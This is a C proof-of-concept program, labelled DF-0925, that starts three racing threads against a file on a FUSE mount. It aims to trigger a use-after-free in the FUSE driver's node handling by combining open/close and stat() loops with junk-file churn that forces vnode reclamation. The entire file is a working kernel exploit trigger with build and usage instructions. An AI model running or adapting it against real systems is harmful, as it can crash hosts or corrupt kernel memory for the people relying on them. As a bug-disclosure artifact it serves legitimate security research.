/*
 * race_winner.c - DF-0925 PoC trigger.
 *
 * Three threads racing on /mnt/fuse/target:
 *   A: open/close loop (creates vnode, then makes it reclaimable)
 *   B: stat() loop   (drives nresolve -> fuse_alloc_node -> use fnp
 *                      after dropping ino_lock)
 *   C: junk-file pressure (forces vnlru to reclaim the vnode + fuse_node
 *                      freed by fuse_vop_reclaim)
 *
 * Build: cc -o race_winner race_winner.c -lpthread
 */
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

static char *g_path;
static volatile int g_stop;

static void *
thread_open_close(void *arg)
{
    (void)arg;
    while (!g_stop) {
        int fd = open(g_path, O_RDONLY);
        if (fd >= 0)
            close(fd);
    }
    return NULL;
}

static void *
thread_stat(void *arg)
{
    (void)arg;
    struct stat st;
    while (!g_stop) {
        if (stat(g_path, &st) != 0) {
            /* expected intermittently */
        }
    }
    return NULL;
}

static void *
thread_vnode_pressure(void *arg)
{
    (void)arg;
    char buf[64];
    while (!g_stop) {
        for (int i = 0; i < 4000; i++) {
            snprintf(buf, sizeof buf,
                     "/tmp/df0925_junk_%d_%d", getpid(), i);
            int fd = open(buf, O_CREAT | O_RDWR, 0600);
            if (fd >= 0) {
                /* Touch a byte so the vnode sticks around briefly. */
                (void)write(fd, "x", 1);
                close(fd);
                unlink(buf);
            }
        }
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <fuse_path>\n", argv[0]);
        return 2;
    }
    g_path = argv[1];

    pthread_t t[3];
    pthread_create(&t[0], NULL, thread_open_close,   NULL);
    pthread_create(&t[1], NULL, thread_stat,         NULL);
    pthread_create(&t[2], NULL, thread_vnode_pressure, NULL);

    sleep(120);
    g_stop = 1;
    for (int i = 0; i < 3; i++)
        pthread_join(t[i], NULL);

    return 0;
}
